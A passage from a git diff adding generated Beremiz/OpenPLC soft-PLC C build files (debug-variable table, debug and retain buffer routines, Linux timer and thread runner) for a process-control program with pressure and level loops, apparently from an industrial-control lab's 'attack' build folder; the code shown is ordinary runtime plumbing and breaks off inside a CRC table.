+{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 